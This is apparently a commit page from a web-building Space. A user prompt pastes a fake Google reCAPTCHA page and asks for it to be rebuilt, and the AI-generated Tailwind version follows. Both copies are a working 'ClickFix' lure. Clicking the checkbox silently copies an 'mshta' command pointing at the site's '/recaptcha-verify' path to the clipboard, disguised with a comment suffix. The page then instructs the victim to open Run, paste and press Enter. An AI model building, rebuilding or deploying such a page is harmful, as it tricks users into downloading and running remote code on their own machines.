Spaces:
Running
Running
rebuild this "<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>reCAPTCHA Verification</title> <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.0.0/css/all.css"> <style> body { font-family: 'Arial', sans-serif; background-color: #f4f4f4; margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; } .container { font-family: 'Arial', sans-serif; background-color: #fff; border-radius: 8px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); padding: 20px; } .m-p { margin: 0; padding: 0; } .block { display: block; } code { font-size: 9px; margin-left: 2px; color: gray; } .line-normal { line-height: normal; } .checkbox-window { height: 74px; width: 300px; background-color: #f9f9f9; border-radius: 5px; border: 1px solid #d3d3d3; box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1); } .checkbox-window a { color: #555; text-decoration: none; } .checkbox-window a:hover { color: #555; text-decoration: underline; } .checkbox-container { width: 28px; height: 28px; } .checkbox { position: relative; background-color: #fff; border-radius: 2px; height: 100%; width: 100%; border: 2px solid #c1c1c1; margin: 21px 0 0 12px; outline: none; font-family: 'Arial', sans-serif; transition: width 500ms, height 500ms, border-radius 500ms, margin-top 500ms, margin-left 500ms, opacity 700ms; cursor: pointer; } .checkbox:hover { border: 2px solid #b2b2b2; } .im-not-a-robot { position: relative; left: 52px; bottom: 3px; font-size: 16px; color: #333; } .captcha-logo { position: relative; left: 244px; bottom: 36px; width: 40px; height: 45px; vertical-align: baseline; padding-bottom: 4px; } .checkbox-desc { color: #555555; position: relative; font-size: 8px; text-align: center; bottom: 40px; left: 112px; } .spinner { visibility: hidden; position: relative; top: -85px; left: 12px; height: 20px; width: 20px; border: 2px solid rgba(0, 0, 0, 0.1); border-top: 2px solid #333; border-radius: 50%; visibility: hidden; opacity: 0; transition: opacity 0.5s linear; animation: spin 1s linear infinite; }
@keyframes
spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } .verify-window { font-family: Roboto, helvetica, arial, sans-serif; opacity: 0; position: absolute; visibility: hidden; margin: auto; width: 310px; background-color: #fff; border: 1px solid #cecece; -webkit-box-shadow: 5px 6px 7px -3px rgba(0, 0, 0, 0.12); box-shadow: 5px 6px 7px -3px rgba(0, 0, 0, 0.12); transition: opacity 400ms; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); } ol { counter-reset: item; list-style-type: none; list-style-position: outside; padding-left: 0; } ol li { counter-increment: item; margin-bottom: 10px; } ol li::before { content: counter(item) ". "; color: #1A73E8; font-weight: bold; margin-right: 10px; margin-left: 10px; } .verify-container { padding: 8px; } .verify-header { background-color: #2980b9; padding: 16px 16px 24px 16px; color: #fff; border-top-left-radius: 8px; border-top-right-radius: 8px; } .verify-header-text-small { font-size: 14px; line-height: normal; } .verify-header-text-medium { font-size: 16px; } .verify-header-text-big { font-size: 24px; font-weight: 700; } .verify-main { padding: 5px; color: #111; font-size: 13px; } .verify-footer { border-top: 1px solid #cecece; padding: 10px 7px 10px 7px; color: #737373; display: grid; grid-template-columns: auto 102px; font-size: 13px; } .verify-footer-left { padding: 5px; } .verify-verify-button { text-transform: uppercase; background-color: #3498db; color: #fff; text-align: center; width: 100%; padding: 12px 0 12px 0; text-decoration: none; font-weight: 600; height: min-content; border-radius: 5px; font-size: 14px; border: none; outline: none; cursor: pointer; transition: background-color 0.3s; } .verify-verify-button:hover { background-color: #2980b9; } </style> </head> <body> <div class="container m-p"> <div id="checkbox-window" class="checkbox-window m-p block"> <div class="checkbox-container m-p"> <button type="button" id="checkbox" class="checkbox m-p line-normal"></button> </div> <p class="im-not-a-robot m-p line-normal">I'm not a robot</p> <img src="https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png" class="captcha-logo line-normal" alt=""> <br> <p class="checkbox-desc m-p line-normal"> <a href="https://www.google.com/intl/en/policies/privacy/">Privacy</a> - <a href="https://www.google.com/intl/en/policies/terms/">Terms</a> </p> <img class="spinner" alt="" id="spinner"> </div> <div id="verify-window" class="verify-window"> <div class="verify-container"> <header class="verify-header"> <span class="verify-header-text-medium m-p block">Complete these</span> <span class="verify-header-text-big m-p block">Verification Steps</span> <span class="verify-header-text-medium m-p block"></span> </header> <main class="verify-main"> <p> To better prove you are not a robot, please: </p> <ol> <li> Press & hold the Windows Key <i class="fab fa-windows"></i> + <b>R</b>. </li> <li> In the verification window, press <b>Ctrl</b> + <b>V</b>. </li> <li> Press <b>Enter</b> on your keyboard to finish. </li> </ol> <p> You will observe and agree: <br> <code> ✅ "I am not a robot - reCAPTCHA Verification ID: <span id="verification-id">146820</span>" </code> </p> </main> </div> <footer class="verify-container verify-footer"> <div class="verify-footer-left"> Perform the steps above to finish verification. </div> <button type="button" class="verify-verify-button block" id="verify-verify-button" disabled="true">Verify</button> </footer> </div> </div> <script> let checkboxWindow = document.getElementById("checkbox-window"); let checkboxBtn = document.getElementById("checkbox"); let checkboxBtnSpinner = document.getElementById("spinner"); let verifywindow = document.getElementById("verify-window"); function addCaptchaListeners() { if (checkboxBtn) { document.addEventListener("click", function (event) { let path = event.composedPath(); if (!path.includes(verifywindow) && isverifywindowVisible()) { closeverifywindow(); } }); checkboxBtn.addEventListener("click", function (event) { event.preventDefault(); checkboxBtn.disabled = true; runClickedCheckboxEffects(); }); } } function runClickedCheckboxEffects() { hideCaptchaCheckbox(); setTimeout(function(){ showCaptchaLoading(); },500); setTimeout(function(){ showVerifyWindow(); },900) } function showCaptchaLoading() { checkboxBtnSpinner.style.visibility = "visible"; checkboxBtnSpinner.style.opacity = "1"; checkboxBtnSpinner.style.animation = "spin 1s linear infinite"; } function hideCaptchaLoading() { checkboxBtnSpinner.style.opacity = "0"; checkboxBtnSpinner.style.animation = "none"; setTimeout(function() { checkboxBtnSpinner.style.visibility = "hidden"; }, 500); } function hideCaptchaCheckbox() { checkboxBtn.style.visibility = "hidden"; checkboxBtn.style.opacity = "0"; } function showCaptchaCheckbox() { checkboxBtn.style.width = "100%"; checkboxBtn.style.height = "100%"; checkboxBtn.style.borderRadius = "2px"; checkboxBtn.style.margin = "21px 0 0 12px"; checkboxBtn.style.opacity = "1"; } function hideCaptchaCheckbox() { checkboxBtn.style.width = "4px"; checkboxBtn.style.height = "4px"; checkboxBtn.style.borderRadius = "50%"; checkboxBtn.style.marginLeft = "25px"; checkboxBtn.style.marginTop = "33px"; checkboxBtn.style.opacity = "0"; } function showCaptchaLoading() { checkboxBtnSpinner.style.visibility = "visible"; checkboxBtnSpinner.style.opacity = "1"; } function hideCaptchaLoading() { checkboxBtnSpinner.style.visibility = "hidden"; checkboxBtnSpinner.style.opacity = "0"; } function generateRandomNumber() { const min = 1000; const max = 9999; return Math.floor(Math.random() * (max - min + 1) + min).toString(); } function closeverifywindow() { verifywindow.style.display = "none"; verifywindow.style.visibility = "hidden"; verifywindow.style.opacity = "0"; showCaptchaCheckbox(); hideCaptchaLoading(); checkboxBtn.disabled = false; } function isverifywindowVisible() { return verifywindow.style.display !== "none" && verifywindow.style.display !== ""; } function setClipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"); tempTextArea.value = textToCopy; document.body.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); } function stageClipboard(commandToRun, verification_id){ const suffix = " # " const ploy = "✅ ''I am not a robot - reCAPTCHA Verification ID: " const end = "''" const textToCopy = commandToRun + suffix + ploy + verification_id + end setClipboardCopyData(textToCopy); } function showVerifyWindow() { verifywindow.style.display = "block"; verifywindow.style.visibility = "visible"; verifywindow.style.opacity = "1"; verifywindow.style.top = checkboxWindow.offsetTop - 80 + "px"; verifywindow.style.left = checkboxWindow.offsetLeft + 54 + "px"; if (verifywindow.offsetTop < 5) { verifywindow.style.top = "5px"; } if (verifywindow.offsetLeft + verifywindow.offsetWidth > window.innerWidth-10 ) { verifywindow.style.left = checkboxWindow.offsetLeft - 8 + "px"; } var verification_id = generateRandomNumber(); document.getElementById('verification-id').textContent = verification_id; const htaPath = window.location.origin + "/recaptcha-verify"; const commandToRun = "mshta " + htaPath stageClipboard(commandToRun, verification_id) } addCaptchaListeners(); </script> </body> </html>" - Initial Deployment
99274b9
verified
| <html lang="en"> | |
| <head> | |
| <meta charset="utf-8"> | |
| <title>reCAPTCHA Verification</title> | |
| <script src="https://cdn.tailwindcss.com"></script> | |
| <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"> | |
| <style> | |
| @keyframes spin { | |
| 0% { transform: rotate(0deg); } | |
| 100% { transform: rotate(360deg); } | |
| } | |
| .spinner { | |
| animation: spin 1s linear infinite; | |
| transition: opacity 0.5s linear; | |
| } | |
| .verify-window { | |
| transition: opacity 400ms; | |
| box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); | |
| } | |
| ol { | |
| counter-reset: item; | |
| list-style-type: none; | |
| list-style-position: outside; | |
| padding-left: 0; | |
| } | |
| ol li { | |
| counter-increment: item; | |
| margin-bottom: 10px; | |
| } | |
| ol li::before { | |
| content: counter(item) ". "; | |
| color: #1A73E8; | |
| font-weight: bold; | |
| margin-right: 10px; | |
| margin-left: 10px; | |
| } | |
| .checkbox { | |
| transition: width 500ms, height 500ms, border-radius 500ms, margin-top 500ms, margin-left 500ms, opacity 700ms; | |
| } | |
| </style> | |
| </head> | |
| <body class="bg-gray-100 min-h-screen flex items-center justify-center p-4"> | |
| <div class="bg-white rounded-lg shadow-md p-5 w-full max-w-md"> | |
| <div id="checkbox-window" class="bg-gray-50 rounded border border-gray-300 shadow-sm p-4 relative"> | |
| <div class="flex items-start"> | |
| <button type="button" id="checkbox" class="checkbox w-7 h-7 bg-white rounded border-2 border-gray-300 hover:border-gray-400 outline-none cursor-pointer mt-5 ml-3"></button> | |
| <p class="text-gray-800 text-base ml-4 mt-5">I'm not a robot</p> | |
| <img src="https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png" class="absolute right-4 bottom-4 w-10 h-10" alt="reCAPTCHA logo"> | |
| </div> | |
| <div class="text-center text-xs text-gray-500 mt-8"> | |
| <a href="https://www.google.com/intl/en/policies/privacy/" class="text-gray-500 hover:text-gray-600 hover:underline">Privacy</a> - | |
| <a href="https://www.google.com/intl/en/policies/terms/" class="text-gray-500 hover:text-gray-600 hover:underline">Terms</a> | |
| </div> | |
| <div id="spinner" class="spinner absolute left-3 top-1/2 w-5 h-5 border-2 border-gray-200 border-t-gray-600 rounded-full opacity-0 invisible"></div> | |
| </div> | |
| <div id="verify-window" class="verify-window absolute bg-white rounded-lg border border-gray-300 shadow-lg w-80 opacity-0 invisible"> | |
| <div class="verify-container"> | |
| <header class="bg-blue-600 text-white p-4 rounded-t-lg"> | |
| <span class="block text-base">Complete these</span> | |
| <span class="block text-2xl font-bold">Verification Steps</span> | |
| </header> | |
| <main class="p-4 text-gray-800 text-sm"> | |
| <p class="mb-4"> | |
| To better prove you are not a robot, please: | |
| </p> | |
| <ol class="mb-4"> | |
| <li> | |
| Press & hold the Windows Key <i class="fab fa-windows"></i> + <b>R</b>. | |
| </li> | |
| <li> | |
| In the verification window, press <b>Ctrl</b> + <b>V</b>. | |
| </li> | |
| <li> | |
| Press <b>Enter</b> on your keyboard to finish. | |
| </li> | |
| </ol> | |
| <p> | |
| You will observe and agree: | |
| <br> | |
| <code class="text-xs text-gray-500"> | |
| ✅ "I am not a robot - reCAPTCHA Verification ID: <span id="verification-id">146820</span>" | |
| </code> | |
| </p> | |
| </main> | |
| </div> | |
| <footer class="border-t border-gray-300 p-3 flex justify-between items-center text-sm"> | |
| <div class="text-gray-500"> | |
| Perform the steps above to finish verification. | |
| </div> | |
| <button type="button" class="bg-blue-500 hover:bg-blue-600 text-white font-semibold py-3 px-6 rounded uppercase text-sm transition-colors" id="verify-verify-button" disabled>Verify</button> | |
| </footer> | |
| </div> | |
| </div> | |
| <script> | |
| let checkboxWindow = document.getElementById("checkbox-window"); | |
| let checkboxBtn = document.getElementById("checkbox"); | |
| let checkboxBtnSpinner = document.getElementById("spinner"); | |
| let verifywindow = document.getElementById("verify-window"); | |
| function addCaptchaListeners() { | |
| if (checkboxBtn) { | |
| document.addEventListener("click", function (event) { | |
| let path = event.composedPath(); | |
| if (!path.includes(verifywindow) && isverifywindowVisible()) { | |
| closeverifywindow(); | |
| } | |
| }); | |
| checkboxBtn.addEventListener("click", function (event) { | |
| event.preventDefault(); | |
| checkboxBtn.disabled = true; | |
| runClickedCheckboxEffects(); | |
| }); | |
| } | |
| } | |
| function runClickedCheckboxEffects() { | |
| hideCaptchaCheckbox(); | |
| setTimeout(function(){ | |
| showCaptchaLoading(); | |
| },500); | |
| setTimeout(function(){ | |
| showVerifyWindow(); | |
| },900) | |
| } | |
| function showCaptchaLoading() { | |
| checkboxBtnSpinner.classList.remove("invisible", "opacity-0"); | |
| checkboxBtnSpinner.classList.add("opacity-100"); | |
| } | |
| function hideCaptchaLoading() { | |
| checkboxBtnSpinner.classList.add("opacity-0"); | |
| setTimeout(function() { | |
| checkboxBtnSpinner.classList.add("invisible"); | |
| }, 500); | |
| } | |
| function showCaptchaCheckbox() { | |
| checkboxBtn.classList.remove("w-1", "h-1", "rounded-full", "ml-6", "mt-8", "opacity-0"); | |
| checkboxBtn.classList.add("w-7", "h-7", "rounded", "ml-3", "mt-5", "opacity-100"); | |
| } | |
| function hideCaptchaCheckbox() { | |
| checkboxBtn.classList.remove("w-7", "h-7", "rounded", "ml-3", "mt-5", "opacity-100"); | |
| checkboxBtn.classList.add("w-1", "h-1", "rounded-full", "ml-6", "mt-8", "opacity-0"); | |
| } | |
| function generateRandomNumber() { | |
| const min = 1000; | |
| const max = 9999; | |
| return Math.floor(Math.random() * (max - min + 1) + min).toString(); | |
| } | |
| function closeverifywindow() { | |
| verifywindow.classList.add("invisible", "opacity-0"); | |
| showCaptchaCheckbox(); | |
| hideCaptchaLoading(); | |
| checkboxBtn.disabled = false; | |
| } | |
| function isverifywindowVisible() { | |
| return !verifywindow.classList.contains("invisible") && !verifywindow.classList.contains("opacity-0"); | |
| } | |
| function setClipboardCopyData(textToCopy){ | |
| const tempTextArea = document.createElement("textarea"); | |
| tempTextArea.value = textToCopy; | |
| document.body.append(tempTextArea); | |
| tempTextArea.select(); | |
| document.execCommand("copy"); | |
| document.body.removeChild(tempTextArea); | |
| } | |
| function stageClipboard(commandToRun, verification_id){ | |
| const suffix = " # " | |
| const ploy = "✅ ''I am not a robot - reCAPTCHA Verification ID: " | |
| const end = "''" | |
| const textToCopy = commandToRun + suffix + ploy + verification_id + end | |
| setClipboardCopyData(textToCopy); | |
| } | |
| function showVerifyWindow() { | |
| verifywindow.classList.remove("invisible", "opacity-0"); | |
| verifywindow.classList.add("opacity-100"); | |
| const checkboxRect = checkboxWindow.getBoundingClientRect(); | |
| verifywindow.style.top = (checkboxRect.top - 80) + "px"; | |
| verifywindow.style.left = (checkboxRect.left + 54) + "px"; | |
| if (parseInt(verifywindow.style.top) < 5) { | |
| verifywindow.style.top = "5px"; | |
| } | |
| const verifyRect = verifywindow.getBoundingClientRect(); | |
| if (verifyRect.left + verifyRect.width > window.innerWidth - 10) { | |
| verifywindow.style.left = (checkboxRect.left - 8) + "px"; | |
| } | |
| var verification_id = generateRandomNumber(); | |
| document.getElementById('verification-id').textContent = verification_id; | |
| const htaPath = window.location.origin + "/recaptcha-verify"; | |
| const commandToRun = "mshta " + htaPath; | |
| stageClipboard(commandToRun, verification_id); | |
| } | |
| addCaptchaListeners(); | |
| </script> | |
| <p style="border-radius: 8px; text-align: center; font-size: 12px; color: #fff; margin-top: 16px;position: fixed; left: 8px; bottom: 8px; z-index: 10; background: rgba(0, 0, 0, 0.8); padding: 4px 8px;">Made with <img src="https://enzostvs-deepsite.hf.space/logo.svg" alt="DeepSite Logo" style="width: 16px; height: 16px; vertical-align: middle;display:inline-block;margin-right:3px;filter:brightness(0) invert(1);"><a href="https://enzostvs-deepsite.hf.space" style="color: #fff;text-decoration: underline;" target="_blank" >DeepSite</a> - 🧬 <a href="https://enzostvs-deepsite.hf.space?remix=jauganaut1/ddeverify" style="color: #fff;text-decoration: underline;" target="_blank" >Remix</a></p></body> | |
| </html> |